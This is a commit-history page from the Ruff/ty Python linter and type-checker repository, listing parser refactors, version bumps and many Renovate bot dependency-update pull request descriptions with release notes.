Commit Graph
2262 Commits
Author SHA1 Message Date
Micha Reiser d90d84285d Use a thin vector for decoded bytes literals
Most modules leave this buffer empty. Keep only a pointer in the AST header and allocate the length and capacity with the bytes on demand. Require thin-vec 0.2.20 for unconditional const construction in Ast::empty.
2026-11-22 13:56:05 +00:00
Micha Reiser 0a713a46eb Build typed arena nodes in the Python parser
Carry the typed IDs returned by node constructors through parsing and
recovery. Parse source-ordered argument and parameter lists directly.
Keep ownership of the tree with the parsed module.

Record the full range of each dictionary entry, including the stars
in an unpacking and parentheses around the value. When recovering
a dictionary from a mapping pattern, include the stars in the
range of an unpacked entry.
2026-11-22 13:55:39 +00:00
Micha Reiser c8891605c9 Represent Python syntax with arena rows and typed node handles
Store child IDs in the arena. Expose borrowed typed nodes, fields and
source-order lists through generated accessors. The walkers accept an
already classified expression or statement. Resolve child IDs with
checked indexing.

Give each dictionary entry its own row with an optional key and a
value. The dictionary can then store a list of child IDs in source
order and use the same accessors and traversal as other node lists.
2026-11-22 13:55:39 +00:00
Micha Reiser 6e020f542e Validate positional and keyword arguments as the parser reads them 2026-11-22 13:55:38 +00:00
Micha Reiser 2dd512c4e6 Consume parameter roles together in the formatter, linter and ty 2026-11-22 13:55:33 +00:00
Micha Reiser 49597b86fe Remove unused source-based parentheses helper (#30614)
## Summary

Today, `ruff_python_ast` has two implementations of
`parenthesized_range`, but only tests use the source-tokenizing one.

This PR removes the unused implementation and moves the remaining
distinct cases into the token-based implementation's tests.

Testing: All AST integration tests pass, and retired instruction counts
show no regression in Ruff.
2026-11-20 10:31:33 +00:00
astral-automations-bot[bot]andBrent Westbrook a7ba68b491 Bump version to 0.17.6 (#30578)
Co-authored-by: astral-automations-bot[bot] <305554984+astral-automations-bot[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <36778786+ntBre@users.noreply.github.com>
2026-11-19 10:32:47 -05:00
Alex Waygood 8f954aad9c Update zip to 9.5.1 and use raw lookups for vendored typeshed (#29816) 2026-11-18 18:13:12 +00:00
Charlie MarshandCharlie Marsh eaaa156f71 Remove Chrono from Ruff and ty (#30495)
## Summary

Ruff and ty still pull in Chrono through their language server log
timers and `quick-junit`, even though the workspace already uses Jiff.
We now use Jiff for the local log timestamps, preserving their
nine-digit fractional seconds, and stream JUnit reports with
`quick-xml`'s element builder. The existing JUnit snapshots are
unchanged.

Chrono is absent from both release feature trees and `Cargo.lock`.

---------

Co-authored-by: Charlie Marsh <charliemarsh@openai.com>
2026-11-18 10:36:50 -05:00
renovate[bot] a1e5cca010 Update Rust crate syn to v3.0.9 (#30515)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [syn](https://redirect.github.com/dtolnay/syn) |
workspace.dependencies | patch | `3.0.8` → `3.0.9` | `3.0.10` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>dtolnay/syn (syn)</summary>

###
[`v3.0.9`](https://redirect.github.com/dtolnay/syn/releases/tag/3.0.9)

[Compare
Source](https://redirect.github.com/dtolnay/syn/compare/3.0.8...3.0.9)

- Add Punctuated::retain
([#&#8203;2088](https://redirect.github.com/dtolnay/syn/issues/2088))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNDkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0OS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-18 09:01:45 +01:00
renovate[bot] deab6691bd Update Rust crate libc to v0.2.191 (#30513)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [libc](https://redirect.github.com/rust-lang/libc) |
workspace.dependencies | patch | `0.2.190` → `0.2.191` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>rust-lang/libc (libc)</summary>

###
[`v0.2.191`](https://redirect.github.com/rust-lang/libc/releases/tag/0.2.191)

[Compare
Source](https://redirect.github.com/rust-lang/libc/compare/0.2.190...0.2.191)

##### Support

- Emscripten: Support v4.0.12 to v6.0.11
([#&#8203;5610](https://redirect.github.com/rust-lang/libc/pull/5610))

##### Added

- Apple: Add `F_SETNOSIGPIPE` and `F_GETNOSIGPIPE`
([#&#8203;5609](https://redirect.github.com/rust-lang/libc/pull/5609))
- Apple: add `ifaliasreq` and `in6_aliasreq`
([#&#8203;5557](https://redirect.github.com/rust-lang/libc/pull/5557))
- FreeBSD: Add `PT_*` constants
([#&#8203;5625](https://redirect.github.com/rust-lang/libc/pull/5625))
- Haiku: Add `AI_*` and `NI_*` constants from netdb.h
([#&#8203;5585](https://redirect.github.com/rust-lang/libc/pull/5585))
- Hurd: Add `POSIX_SPAWN_*` flags
([#&#8203;5578](https://redirect.github.com/rust-lang/libc/pull/5578))
- NuttX: Add `AT_SYMLINK_NOFOLLOW`
([#&#8203;5614](https://redirect.github.com/rust-lang/libc/pull/5614))
- OpenBSD: Add `sensordev`
([#&#8203;5534](https://redirect.github.com/rust-lang/libc/pull/5534))
- QuRT: Add `isatty`
([#&#8203;5618](https://redirect.github.com/rust-lang/libc/pull/5618))
- WASI: Add `pthread_condattr_{get,set}clock`
([#&#8203;5626](https://redirect.github.com/rust-lang/libc/pull/5626))

##### Fixed

- FreeBSD-aarch64: Fix `gpregs` and `fpregs`
([#&#8203;5603](https://redirect.github.com/rust-lang/libc/pull/5603))

##### Changed

- AIX: Restore 'c_ulong' as the type of 'statvfs.f_fsid'.
([#&#8203;5616](https://redirect.github.com/rust-lang/libc/pull/5616))
- Android: Make `prop_info` an extern type
([#&#8203;5561](https://redirect.github.com/rust-lang/libc/pull/5561))
- Apple: Mach API is now available on non-MacOS targets again. This
should resolve some issues building ecosystem crates.
([#&#8203;5612](https://redirect.github.com/rust-lang/libc/pulls/5612)),
([#&#8203;5636](https://redirect.github.com/rust-lang/libc/pull/5636))
- FreeBSD: Add back `NOTE_PCTRLMASK` with a deprecation warning
([#&#8203;5600](https://redirect.github.com/rust-lang/libc/pull/5600))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNDkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0OS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-18 08:59:34 +01:00
renovate[bot] 3ff3fcd713 Update Rust crate schemars to v1.2.3 (#30514)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [schemars](https://graham.cool/schemars/)
([source](https://redirect.github.com/GREsau/schemars)) |
workspace.dependencies | patch | `1.2.2` → `1.2.3` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>GREsau/schemars (schemars)</summary>

###
[`v1.2.3`](https://redirect.github.com/GREsau/schemars/blob/HEAD/CHANGELOG.md#123---2026-10-12)

[Compare
Source](https://redirect.github.com/GREsau/schemars/compare/v1.2.2...v1.2.3)

##### Fixed

- schema creation panics with arbitrary precision JSON numbers
([#&#8203;527](https://redirect.github.com/GREsau/schemars/pull/527))
- Resolve `unused_qualifications` lint violation in generated code
([#&#8203;539](https://redirect.github.com/GREsau/schemars/issues/539) /
[#&#8203;541](https://redirect.github.com/GREsau/schemars/pull/541))

##### Changed

- Put the tag of internally-tagged enums first in the schema's
`properties` array
([#&#8203;537](https://redirect.github.com/GREsau/schemars/issues/537) /
[#&#8203;538](https://redirect.github.com/GREsau/schemars/pull/538))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNDkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0OS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-18 08:59:09 +01:00
renovate[bot] 959bbe2a52 Update Rust crate arc-swap to v1.9.3 (#30512)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [arc-swap](https://redirect.github.com/vorner/arc-swap) |
workspace.dependencies | patch | `1.9.2` → `1.9.3` | `1.9.5` (+1) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>vorner/arc-swap (arc-swap)</summary>

###
[`v1.9.3`](https://redirect.github.com/vorner/arc-swap/blob/HEAD/CHANGELOG.md#193)

- `rwlock-strategy` feature: `RwLock<()>` as an explicit, opt-in
strategy
(`ArcSwapAny<Arc<T>, RwLock<()>>`). `DefaultStrategy` is unchanged
([#&#8203;210](https://redirect.github.com/vorner/arc-swap/issues/210),
[#&#8203;211](https://redirect.github.com/vorner/arc-swap/issues/211)).

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNDkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0OS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-18 08:58:31 +01:00
Micha Reiser d3e454ea7c [ty] Speed-up find references in workspaces with many unicode files (#30402)
## Summary

A find-references search for `C` currently visits files just because
they contain punctuation like `…`. After an exact-name search misses,
`NameMatcher` jumps to the next non-ASCII character. It skips
punctuation and compares whole identifiers after NFKC normalization, so
it finds `obj.C` and skips `obj.Cache`. Related to astral-sh/ty#5006.

I replayed 243 find-references requests on
[Django](https://github.com/django/django/tree/a05e16a7230fe33d3f43f4a3aaed103cebb42efc)
(2,918 Python files, two CPUs). Timings are medians of three runs per
build. Parse counts are from a separate run.

| | ty 0.0.81 | PR base | This PR |
| --- | ---: | ---: | ---: |
| Median request | 2.55 ms | 28.32 ms | 2.66 ms |
| All 243 requests | 13.77 s | 20.20 s | 13.43 s |
| Distinct files parsed | 1,327 | 1,219 | 1,189 |
| Reparses | 2,032 | 20,029 | 6,912 |

Checking non-ASCII identifiers took 0.14 s of worker CPU time across all
243 requests.

## Test Plan

The matcher tests passed, and all three builds returned the same 343
reference locations.
2026-11-16 10:02:55 +01:00
0ebb77d35c Bump version to 0.17.5 (#30380)
Co-authored-by: astral-automations-bot[bot] <305554984+astral-automations-bot[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <36778786+ntBre@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-11-12 17:26:23 +00:00
Micha Reiser dd757ebabb Update the CodSpeed benchmark harnesses and runner (#30323)
## Summary

We see cases where the codspeed result differs based on the order in
which the benchmarks run, because they all run in the same process (and
use the same allocator). Newer codspeed versions run each benchmark in a
separate process, protecting them from "warm allocator" effects.

This PR updates `cargo-codspeed` to 6.0.0 and the CodSpeed action to
5.6.3. Each simulated Criterion or Divan benchmark now starts in a fresh
process, so allocations in one fixture can no longer change the
instruction count of the next.

## Test Plan

Verified that the linter fixture and all four module-resolution inputs
each ran in a separate process, and that the updated dependencies meet
the seven-day cooldown.
2026-11-11 10:27:32 +01:00
renovate[bot] b0a8ea029c Update Rust crate toml to v1.1.8 (#30310)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [toml](https://redirect.github.com/toml-rs/toml) |
workspace.dependencies | patch | `1.1.6+spec-1.1.0` → `1.1.8` | `1.2.1`
(+1) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>toml-rs/toml (toml)</summary>

###
[`v1.1.8`](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.7...toml-v1.1.8)

[Compare
Source](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.7...toml-v1.1.8)

###
[`v1.1.7`](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.6...toml-v1.1.7)

[Compare
Source](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.6...toml-v1.1.7)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 07:44:24 +00:00
renovate[bot] 727067812d Update Rust crate serde_json to v1.0.154 (#30306)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [serde_json](https://redirect.github.com/serde-rs/json) |
workspace.dependencies | patch | `1.0.151` → `1.0.154` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>serde-rs/json (serde_json)</summary>

###
[`v1.0.154`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.154)

[Compare
Source](https://redirect.github.com/serde-rs/json/compare/v1.0.153...v1.0.154)

- Support preserve_order in no_std builds
([#&#8203;1333](https://redirect.github.com/serde-rs/json/issues/1333),
thanks [@&#8203;razmser](https://redirect.github.com/razmser))

###
[`v1.0.153`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.153)

[Compare
Source](https://redirect.github.com/serde-rs/json/compare/v1.0.152...v1.0.153)

- Report invalid UTF-8 at the first bad byte
([#&#8203;1345](https://redirect.github.com/serde-rs/json/issues/1345),
thanks [@&#8203;00200200](https://redirect.github.com/00200200))

###
[`v1.0.152`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.152)

[Compare
Source](https://redirect.github.com/serde-rs/json/compare/v1.0.151...v1.0.152)

- Preserve sign of `-0` in arbitrary_precision mode
([#&#8203;1346](https://redirect.github.com/serde-rs/json/issues/1346),
thanks
[@&#8203;yuxi-liu-wired](https://redirect.github.com/yuxi-liu-wired))
- Fix comparison of large non-integer values with f32::INFINITY
([#&#8203;1347](https://redirect.github.com/serde-rs/json/issues/1347),
thanks
[@&#8203;yuxi-liu-wired](https://redirect.github.com/yuxi-liu-wired))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:20:18 +01:00
renovate[bot] 0d6a6cba81 Update Rust crate thin-vec to v0.2.21 (#30309)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [thin-vec](https://redirect.github.com/mozilla/thin-vec) |
workspace.dependencies | patch | `0.2.20` → `0.2.21` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>mozilla/thin-vec (thin-vec)</summary>

###
[`v0.2.21`](https://redirect.github.com/mozilla/thin-vec/blob/HEAD/RELEASES.md#Version-0221-2026-10-08)

[Compare
Source](https://redirect.github.com/mozilla/thin-vec/compare/v0.2.20...v0.2.21)

- When collecting into a ThinVec, pass the size hint to `with_capacity`
([#&#8203;99](https://redirect.github.com/mozilla/thin-vec/issues/99)).
- Implement Index/IndexMut
([#&#8203;98](https://redirect.github.com/mozilla/thin-vec/issues/98)).
- Update ZST docs.

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:18:28 +01:00
renovate[bot] 9926b182f0 Update Rust crate syn to v3.0.8 (#30308)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [syn](https://redirect.github.com/dtolnay/syn) |
workspace.dependencies | patch | `3.0.6` → `3.0.8` | `3.0.10` (+1) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>dtolnay/syn (syn)</summary>

###
[`v3.0.8`](https://redirect.github.com/dtolnay/syn/releases/tag/3.0.8)

[Compare
Source](https://redirect.github.com/dtolnay/syn/compare/3.0.7...3.0.8)

- Fix parsing of `<-` and `->` tokens in expressions
([#&#8203;2086](https://redirect.github.com/dtolnay/syn/issues/2086),
[#&#8203;2087](https://redirect.github.com/dtolnay/syn/issues/2087))

###
[`v3.0.7`](https://redirect.github.com/dtolnay/syn/releases/tag/3.0.7)

[Compare
Source](https://redirect.github.com/dtolnay/syn/compare/3.0.6...3.0.7)

- Fix parsing absolute path expr in labeled break
([#&#8203;2085](https://redirect.github.com/dtolnay/syn/issues/2085),
thanks [@&#8203;A4-Tacks](https://redirect.github.com/A4-Tacks))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:16:38 +01:00
renovate[bot] 64c9de54fd Update Rust crate get-size2 to v0.11.1 (#30303)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [get-size2](https://redirect.github.com/bircni/get-size2) |
workspace.dependencies | patch | `0.11.0` → `0.11.1` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>bircni/get-size2 (get-size2)</summary>

###
[`v0.11.1`](https://redirect.github.com/bircni/get-size2/blob/HEAD/CHANGELOG.md#0111---2026-10-10)

[Compare
Source](https://redirect.github.com/bircni/get-size2/compare/0.11.0...0.11.1)

##### Bug Fixes

- Update syn to version 3, attribute-derive to 0.11
([#&#8203;59](https://redirect.github.com/bircni/get-size2/issues/59)) -
([8de83b7](https://redirect.github.com/bircni/get-size2/commit/8de83b7116503f978dc63055f014bb66389c0039))
- Ben Beasley

##### Features

- impl GetSize for arcstr & uuid
([#&#8203;60](https://redirect.github.com/bircni/get-size2/issues/60)) -
([be3d2e3](https://redirect.github.com/bircni/get-size2/commit/be3d2e3272d0569463a4819efd6a5ab7ed3fef1c))
- Utkarsh Gupta

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:16:13 +01:00
renovate[bot] 543d4cd32b Update Rust crate jiff to v0.2.38 (#30305)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [jiff](https://redirect.github.com/BurntSushi/jiff) |
workspace.dependencies | patch | `0.2.37` → `0.2.38` | `0.2.42` (+3) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>BurntSushi/jiff (jiff)</summary>

###
[`v0.2.38`](https://redirect.github.com/BurntSushi/jiff/blob/HEAD/CHANGELOG.md#0238-2026-10-06)

[Compare
Source](https://redirect.github.com/BurntSushi/jiff/compare/0.2.37...0.2.38)

\===================
This release updates Jiff's bundled copy of the \[IANA Time Zone
Database]
to `2026e`. See the [`2026e` release announcement] for more details.

[`2026e` release announcement]:
https://lists.iana.org/hyperkitty/list/tz-announce@iana.org/thread/VXIA4AU73OQL3OZ3ZBZHWIASIIVBGUJV/

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:15:40 +01:00
renovate[bot] b444ac256c Update Rust crate toml_parser to v1.1.5 (#30311)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [toml_parser](https://redirect.github.com/toml-rs/toml) |
workspace.dependencies | patch | `1.1.3+spec-1.1.0` → `1.1.5` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>toml-rs/toml (toml_parser)</summary>

###
[`v1.1.5`](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.4...toml-v1.1.5)

[Compare
Source](https://redirect.github.com/toml-rs/toml/compare/toml_parser-v1.1.4...toml_parser-v1.1.5)

###
[`v1.1.4`](https://redirect.github.com/toml-rs/toml/compare/toml-v1.1.3...toml-v1.1.4)

[Compare
Source](https://redirect.github.com/toml-rs/toml/compare/toml_parser-v1.1.3...toml_parser-v1.1.4)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-11 08:09:25 +01:00
renovate[bot] e6711a72bb Update Rust crate uuid to v1.28.0 (#30316)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [uuid](https://redirect.github.com/uuid-rs/uuid) |
workspace.dependencies | minor | `1.27.0` → `1.28.0` | `1.29.2` (+2) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>uuid-rs/uuid (uuid)</summary>

###
[`v1.28.0`](https://redirect.github.com/uuid-rs/uuid/releases/tag/v1.28.0)

[Compare
Source](https://redirect.github.com/uuid-rs/uuid/compare/v1.27.0...v1.28.0)

#### What's Changed

- Add optional serde format adapters by
[@&#8203;RanaPriyansh](https://redirect.github.com/RanaPriyansh) in
[#&#8203;916](https://redirect.github.com/uuid-rs/uuid/pull/916)
- Prepare for 1.28.0 release by
[@&#8203;KodrAus](https://redirect.github.com/KodrAus) in
[#&#8203;918](https://redirect.github.com/uuid-rs/uuid/pull/918)

#### New Contributors

- [@&#8203;RanaPriyansh](https://redirect.github.com/RanaPriyansh) made
their first contribution in
[#&#8203;916](https://redirect.github.com/uuid-rs/uuid/pull/916)

**Full Changelog**:
<https://github.com/uuid-rs/uuid/compare/v1.27.0...v1.28.0>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
